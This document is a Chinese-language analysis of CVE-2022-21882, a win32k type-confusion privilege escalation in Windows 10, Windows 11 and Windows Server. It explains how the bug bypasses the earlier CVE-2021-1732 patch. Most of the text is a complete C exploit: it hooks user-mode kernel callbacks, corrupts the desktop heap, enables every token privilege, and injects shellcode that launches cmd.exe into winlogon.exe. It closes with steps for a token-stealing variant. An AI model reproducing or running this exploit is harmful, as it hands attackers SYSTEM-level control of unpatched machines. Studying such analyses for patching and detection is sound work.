0x00漏洞描述
CVE-2022-21882漏洞是window系统的一个本地提权漏洞,微软在2022年1月份安全更新中修补了此漏洞。CVE-2022-21882是对CVE-2021-1732漏洞的绕过,属于win32k驱动程序中的类型混淆漏洞。漏洞成因与CVE-2021-1732类似,主要因为win32kfull!xxxClientAllocExtraBytes函数会回调用户空间中的user32!xxxClientAllocWindowClassExtraBytes,使用NtUserConsoleControl方法设置tagWNDK对象的ConsoleWindow标志,修改窗口类型。回调之后,系统不检查窗口类型是否改变,攻击者可以设置目标窗口的ExtraBytes指针为任意值,修改寻址方式为桌面堆+偏移,以实现桌面堆的越界写。
影响版本:
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
0x01漏洞分析
CVE-2021-1732补丁
CVE-2021-1732的补丁是在CreateWindowEx在调用ClientAllocWindowClassExtraBytes后增加了一个检查。正常情况下在新创建一个窗口还没有调用xxxClientAllocWindowClassExtraBytes的时候,其窗口对应的tagWND -> ExtraBytes是空的,通过检测目标窗口的ExtraBytes指针是否在回调过程中被修改,推测用户态回调是否被hook,如果检查到非正常修改就会释放新创建的窗口,返回失败。也就是说CVE-2021-1732的补丁打在CreateWindowEx,修复方法是在调用xxxClientAllocWindowClassExtraBytes函数后,在CreateWindowEx中判断漏洞是否被利用。
但是xxxCreateAllocWindowClassExtraBytes函数并没有做任何修改。打完补丁之后,又出现的新的路径来触发xxxClientAllocWindowClassExtraBytes函数。
win32kfull!xxxSwitchWndProc
xxxSwitchWndProc函数中调用xxxClientAllocWindowClassExtraBytes为窗口分配额外内存,后面却没有检查窗口的ExtraBytes在用户层回调过程中是否修改,因此发生了和CVE-2021-1732同样的问题,由于窗口已经创建完毕,窗口的句柄也更容易拿到,因此漏洞更容易利用。
_int64 __fastcall xxxSwitchWndProc(struct tagWND *a1, int a2, unsigned __int64 a3, __int64 a4)
{
*((_QWORD *)v7 + 0x23) = v15;
*(_DWORD *)(*(_QWORD *)v8 + 0xFCi64) = v14;
cbExtraBytes = *(unsigned int *)(*(_QWORD *)v8 + 0xC8i64);
v28 = cbExtraBytes;
if ( (_DWORD)cbExtraBytes )//cbExtraBytes大于0,调用xxxClientAllocWindowClassExtraBytes
{
ret = (void *)xxxClientAllocWindowClassExtraBytes((unsigned int)cbExtraBytes);
if ( !ret )
return 0i64;
}
else
{
ret = 0i64;
}
if ( tagWND::RedirectedFieldpExtraBytes::operator<bool> bool((__int64)v7 + 0x140) )// tagWND->ExtraBytes != NULL
{
if ( ret )
memmove(
ret,
(const void *)(*(_QWORD *)(*(_QWORD *)v8 + 0x128i64) + *(unsigned int *)(*(_QWORD *)v8 + 0xFCi64)),
cbExtraBytes);
tagWND = *((_QWORD *)v7 + 5);
ExtraBytes = *(_QWORD *)(tagWND + 0x128);
*(_QWORD *)(tagWND + 0x128) = ret;
*(_DWORD *)(*((_QWORD *)v7 + 5) + 0xC8i64) = cbExtraBytes;
xxxClientFreeWindowClassExtraBytes((__int64)v7, ExtraBytes);
}
}
0x02 漏洞利用
利用流程
应用层可以通过调用NtUserMessageCall函数触发内核层的xxxSwitchWndProc函数,接着就会调用到xxxClientAllocWindowClassExtraBytes。事先在应用层hook相应的回调函数,然后调用函数NtUserConsoleControl修改tagWND_Trigger的ExtraBytes内存寻址方式为桌面堆+偏移,调用NtCallbackReturn将窗口相对桌面堆的偏移tagWND_Victim offset设置为tagWND_Trigger - > ExtraBytes,Hook应用层的User32!xxxClientFreeWindowClassExtraBytes,使其不释放tagWND_Trigger -> ExtraBytes。
触发漏洞窗口hTrigger和受害者窗口hVictim在内存上的布局:按照利用流程修改hTrigger的tagWND->Flags |= 0x800,设置tagWND_Victim相对与桌面堆的偏移为Trigger->ExtraBytes,然后对hWndTrigger调用SetWindowLong系列函数,越界修改Victim->ExtraBytes为任意内存,再对hWndVictim调用SetWindowLong系列函数任意内存写,获得任意内核地址写之后,修改当前进程的Token -> Privileges,最后恢复Victim -> ExtraBytes和Trigger -> Flags,避免BSOD。
EXP分析
##include<windows.h>
##include<stdio.h>
##include<stdlib.h>
##include <Psapi.h>
##pragma comment(lib, "Psapi.lib ")
##define KERNEL_CALLBACK_TABLE_OFFSET 0x58
##define TRIGGERWND_EXTRASIZE 0xABCD
##define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
##pragma pack(1)
typedef struct
{
ULONG64 hWnd; // + 0x00
ULONG64 OffsetToDesktopHeap; // + 0x08
ULONG64 state; // + 0x10
DWORD dwExStyle; // + 0x18
DWORD dwStyle; // + 0x1C
BYTE padd1[0xa8];
ULONG64 cbWndExtra; // + 0xC8
BYTE padd2[0x18];
DWORD dwExtraFlag; // + 0xE8
BYTE padd3[0x3c];
ULONG64 pExtraBytes; // + 0x128
}tagWNDK,*PWND;
##pragma pack(0)
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
enum SYSTEM_INFORMATION_CLASS {
SystemExtendedHandleInformation = 64
};
using NtUserMessageCall_t = NTSTATUS(*)(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR ResultInfo,
DWORD dwType,
BOOL bAnsi);
using ZwQuerySystemInformation_t = NTSTATUS(*)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
using RtlAllocateHeap_t = PVOID(*)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);
using xxxClientAllocWindowClassExtraBytes_t = NTSTATUS(*)(PDWORD Length);
using xxxClientFreeWindowClassExtraBytes_t = NTSTATUS(*WINAPI)(PVOID* pInfo);
using NtUserConsoleControl_t = NTSTATUS(__fastcall*)(DWORD64, LPVOID, DWORD);
using NtCallbackReturn_t = NTSTATUS(__fastcall*)(LPVOID, DWORD, NTSTATUS);
using HMValidateHandle_t = tagWNDK*(__fastcall*)(HANDLE, UINT);
using IsMenu_t = BOOL(*)(HMENU hMenu);
namespace gb {
xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
xxxClientFreeWindowClassExtraBytes_t xxxClientFreeWindowClassExtraBytes = 0;
NtUserConsoleControl_t NtUserConsoleControl = 0;
NtCallbackReturn_t NtCallbackReturn = 0;
HMValidateHandle_t HMValidateHandle = 0;
NtUserMessageCall_t NtUserMessageCall = 0;
ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
RtlAllocateHeap_t RtlAllocateHeap = 0;
IsMenu_t u32_IsMenu = 0;
HMODULE g_hNtdll = 0;
HMODULE g_hWin32u = 0;
HMODULE g_hUser32 = 0;
HWND g_hTriggerWnd = 0;
HWND g_hVictimWnd = 0;
DWORD64 TriggerDeskHeap = 0;
DWORD64 VictimDeskHeap = 0;
HANDLE hToken = 0;
};
VOID SetFuncHook(DWORD64 newAllocFunc,DWORD64 newFreeFunc) {
//1.获取本进程的PEB
DWORD64 ulCurrPEB = __readgsqword(0x60);
printf("[+] Found ulCurrPEB = 0x%p\n", ulCurrPEB);
//2.找到KernelCallbackTable
DWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
KernelCallbackTable = *(PDWORD64)KernelCallbackTable;
printf("[+] Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
DWORD64 xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
printf("[+] Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
gb::xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;
DWORD64 xxxClientFreeExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8);
printf("[+] Found xxxClientFreeExtraBytesFunc = 0x%p\n", xxxClientFreeExtraBytesFunc);
gb::xxxClientFreeWindowClassExtraBytes = (xxxClientFreeWindowClassExtraBytes_t)xxxClientFreeExtraBytesFunc;
//3.HOOK
//首先需要设置页面可写属性
DWORD dwOldProtect;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8) = newAllocFunc;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8) = newFreeFunc;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, dwOldProtect, &dwOldProtect);
}
NTSTATUS WINAPI ClientFreeWindowsClassExtraBytesProxy(PVOID* pInfo) {
PWND pwnd = (PWND)pInfo[0];
if (pwnd->cbWndExtra == TRIGGERWND_EXTRASIZE)
return 1;
return gb::xxxClientFreeWindowClassExtraBytes(pInfo);
}
NTSTATUS WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD size) {
if (*size==TRIGGERWND_EXTRASIZE) {
//获取窗口句柄
//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
printf("[+] ClientAllocatWindowClassExtraBytesProxy called! Offset = %p\n\n", gb::VictimDeskHeap);
gb::NtUserConsoleControl(6, &gb::g_hTriggerWnd, 0x10);
//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hTriggerWnd的桌面堆
DWORD64 ulResult = gb::VictimDeskHeap ;
return gb::NtCallbackReturn(&ulResult, 24, 0);
}
return gb::xxxClientAllocWindowClassExtraBytes(size);
}
LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
if (a2 != 2)
return DefWindowProcW(a1, a2, a3, a4);
PostQuitMessage(0);
return 0;
}
bool CheckPrivilege(HANDLE TokenHandle)
{
BOOL isPrivilegeSet = FALSE;
PRIVILEGE_SET privSet;
LUID_AND_ATTRIBUTES Privileges[1];
LookupPrivilegeValue(NULL, "SeDebugPrivilege", &(Privileges[0].Luid));
Privileges[0].Attributes = 0;
privSet.PrivilegeCount = 1;
privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
memcpy(privSet.Privilege, Privileges, sizeof(Privileges));
PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
return isPrivilegeSet;
}
DWORD getProcessId(const char* name)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
printf("[Error_%d] EnumProcess failed...\n", __LINE__);
exit(0);
}
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the name and process identifier for each process.
for (i = 0; i < cProcesses; i++)
{
if (aProcesses[i] != 0)
{
DWORD processID = aProcesses[i];
CHAR szProcessName[MAX_PATH] = "<unknown>";
// Get a handle to the process.
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID);
// Get the process name.
if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded))
{
GetModuleBaseNameA(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
}
// Print the process name and identifier.
if (!lstrcmpA(szProcessName, name))
{
CloseHandle(hProcess);
return (processID);
}
// Release the handle to the process.
CloseHandle(hProcess);
}
}
return 0;
}
void SpawnShell() {
HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
PVOID pLibRemote;
HMODULE hKernel32 = GetModuleHandleA("Kernel32");
DWORD processID;
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
if ((processID = getProcessId("winlogon.exe")) == 0)
{
printf("[Error_%d] Couldn't retrieve process ID...\n", __LINE__);
return;
}
printf("[+] Retrieved process id: %d\n", processID);
hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);
if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
{
printf("[Error_%d] Couldn't open system process...\n", __LINE__);
return;
}
printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);
pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pLibRemote)
{
printf("[Error_%d] Virtual alloc failed !\n", __LINE__);
return;
}
printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);
if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
{
printf("[Error_%d] WriteProcessMemory failed !\n", __LINE__);
return;
}
HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);
printf("[+] Writing in system process succeded\n");
if (hThread == NULL) {
printf("[Error_%d] CreateRemoteThread failed !\n", __LINE__);
return;
}
else
printf("[+] Remote thread created !\n");
CloseHandle(hSystemProcess);
}
ULONG64 GetToken() {
PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
ULONG64 Token = 0;
ULONG len = 20;
NTSTATUS ntst = 0;
OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &gb::hToken);
if (gb::hToken == INVALID_HANDLE_VALUE) {
printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
return 0;
}
//获取本进程的EPROCESS
do {
len *= 2;
sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
ntst = gb::ZwQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
} while (ntst == STATUS_INFO_LENGTH_MISMATCH);
if (ntst != 0) {
printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
if (sys_handle_info_ref)
free(sys_handle_info_ref);
return 0;
}
DWORD pid = GetCurrentProcessId();
for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
if (gb::hToken == sys_handle_info_ref->Handles[i].HandleValue
&& (HANDLE)pid == sys_handle_info_ref->Handles[i].UniqueProcessId) {
Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
break;
}
}
if (sys_handle_info_ref)
free(sys_handle_info_ref);
printf("[+] Found current process token = %p\n", Token);
return Token;
}
BOOLEAN Init() {
BOOLEAN bRet = TRUE;
int offset = 0;
DWORD64 next_code = 0;
__try {
gb::g_hUser32 = LoadLibraryA("user32.dll");
if (!gb::g_hUser32) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
//获取u32_IsMenu
gb::u32_IsMenu = (IsMenu_t)GetProcAddress(gb::g_hUser32, "IsMenu");
if (!gb::u32_IsMenu) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
for (int i = 0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)gb::u32_IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset = *(int*)((PCHAR)gb::u32_IsMenu + i + 1);
next_code = (DWORD64)gb::u32_IsMenu + i + 5;
gb::HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
break;
}
}
if (!gb::HMValidateHandle) {
printf("[!] Error: Can not find HMValidateHandle!\n");
bRet = FALSE;
__leave;
}
printf("[+] Found HMValidateHandle = 0x%p\n", gb::HMValidateHandle);
gb::g_hNtdll = LoadLibraryA("ntdll.dll");
if (!gb::g_hNtdll) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
gb::g_hWin32u = LoadLibraryA("win32u.dll");
if (!gb::g_hWin32u) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
gb::NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(gb::g_hNtdll, "NtCallbackReturn");
gb::NtUserMessageCall = (NtUserMessageCall_t)GetProcAddress(gb::g_hWin32u, "NtUserMessageCall");
gb::NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(gb::g_hWin32u, "NtUserConsoleControl");
gb::ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(gb::g_hNtdll, "NtQuerySystemInformation");
gb::RtlAllocateHeap = (RtlAllocateHeap_t)GetProcAddress(gb::g_hNtdll, "RtlAllocateHeap");
if (gb::NtCallbackReturn==0 || gb::NtUserMessageCall==0 ||
gb::NtUserConsoleControl==0 || gb::ZwQuerySystemInformation==0 ||
gb::RtlAllocateHeap==0) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
}
__finally {
}
return bRet;
}
int main(int argc,char *argv[]) {
if (argc <= 1) {
printf(
"Usage:\n"
" Example: CVE-2022-21882.exe whoami\n"
);
return 0;
}
WNDCLASSEXW WndClassExW = { 0 };
ULONG64 TokenAddr = 0;
if (Init()) {
TokenAddr = GetToken();
if (TokenAddr == 0) {
printf("[-] Error(%u): GetToken failed.\n");
return 0;
}
WndClassExW.hIcon = 0;
WndClassExW.hbrBackground = 0;
WndClassExW.lpszClassName = 0;
WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
WndClassExW.cbSize = sizeof(WNDCLASSEXW);
WndClassExW.style = CS_VREDRAW | CS_HREDRAW;;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = 0x60;
WndClassExW.hInstance = GetModuleHandleW(0);
WndClassExW.lpszClassName = L"VictimClass";
//被覆盖写
ATOM atom_vic = RegisterClassExW(&WndClassExW);
WndClassExW.cbWndExtra = TRIGGERWND_EXTRASIZE;
WndClassExW.lpszClassName = L"TriggerClass";
//触发漏洞
ATOM atom_trig = RegisterClassExW(&WndClassExW);
gb::g_hVictimWnd = CreateWindowExW(NULL,
(LPCWSTR)(unsigned __int16)atom_vic,
L"VictimWnd",
NULL,
0,
0,
0,
0,
0,
0,
GetModuleHandleW(0),
0);
printf("[+] Created victim windows = 0x%p\n", gb::g_hVictimWnd);
gb::g_hTriggerWnd = CreateWindowExW(NULL,
(LPCWSTR)(unsigned __int16)atom_trig,
L"TriggerBug",
NULL,
0,
0,
0,
0,
0,
0,
GetModuleHandleW(0),
0);
printf("[+] Created trigger windows = 0x%p\n", gb::g_hTriggerWnd);
// 触发漏洞
// 获取刚创建的这两个窗口的桌面堆
PWND Trigger= gb::HMValidateHandle(gb::g_hTriggerWnd, 1);
gb::TriggerDeskHeap = Trigger->OffsetToDesktopHeap;
printf("[+] TriggerDeskHeap's tagWND = 0x%p\n", Trigger);
PWND Victim = gb::HMValidateHandle(gb::g_hVictimWnd, 1);
gb::VictimDeskHeap = Victim->OffsetToDesktopHeap;
DWORD64 Distance = 0;
if (gb::VictimDeskHeap> gb::TriggerDeskHeap) {
Distance=gb::VictimDeskHeap - gb::TriggerDeskHeap;
}
else {
Distance = gb::TriggerDeskHeap - gb::VictimDeskHeap;
}
if (Distance >= TRIGGERWND_EXTRASIZE) {
printf("[-] Heap spray failed!\n");
return 0;
}
printf("[+] VictimDeskHeap's tagWND = 0x%p\n", Victim);
printf("[+] TriggerDeskHeap = %p\n", gb::TriggerDeskHeap);
printf("[+] VictimDeskHeap = %p\n", gb::VictimDeskHeap);
// 回调函数
SetFuncHook((DWORD64)ClientAllocatWindowClassExtraBytesProxy,(DWORD64)ClientFreeWindowsClassExtraBytesProxy);
// 触发漏洞
gb::NtUserMessageCall(gb::g_hTriggerWnd, WM_CREATE,0,0, NULL, 0, FALSE);
// 修改 tagWND_victim->ExtraBytes = TokenAddr
ULONG_PTR Old = SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128+0x10, TokenAddr+0x40);
// 修改 Token->Privileges.Enabled = 0xFFFFFFFFFFFFFFFF
SetWindowLongPtrW(gb::g_hVictimWnd, 8, 0xFFFFFFFFFFFFFFFF);
// 修改 Token->Privileges.Present = 0xFFFFFFFFFFFFFFFF
SetWindowLongPtrW(gb::g_hVictimWnd, 0, 0xFFFFFFFFFFFFFFFF);
if (CheckPrivilege(gb::hToken)) {
SpawnShell();
}
else {
printf("[+] 提权失败!\n");
}
// 恢复 tagWND_Victim->ExtraBytes = Old
SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128 + 0x10, Old);
// 恢复 tagWND_Trigger->Styles &= ~0x800
SetWindowLongPtrW(gb::g_hTriggerWnd, Distance + 0xE8 + 0x10, Trigger->dwExStyle);
system("pause");
}
return 0;
}
1.触发越界写入漏洞,修改window对象的cbWndExtra为0xFFFEFFF,使用window对象WndExtra可以访问大内存。
2.修改另一个窗口的WS_CHILD标志,为另一个窗口设置一个专门构造的Menu(fake menu)
3.通过GetMenuBarInfo API和假菜单获取任意读取原语。
4.使用SetWindowLongPtrA API修改另一个窗口对象的ExtraBytes以获得任意写入原语。
5.通过EPROCESS ActiveProcessLinks找到PID为4的系统eprocess
6.读取系统token,替换当前进程token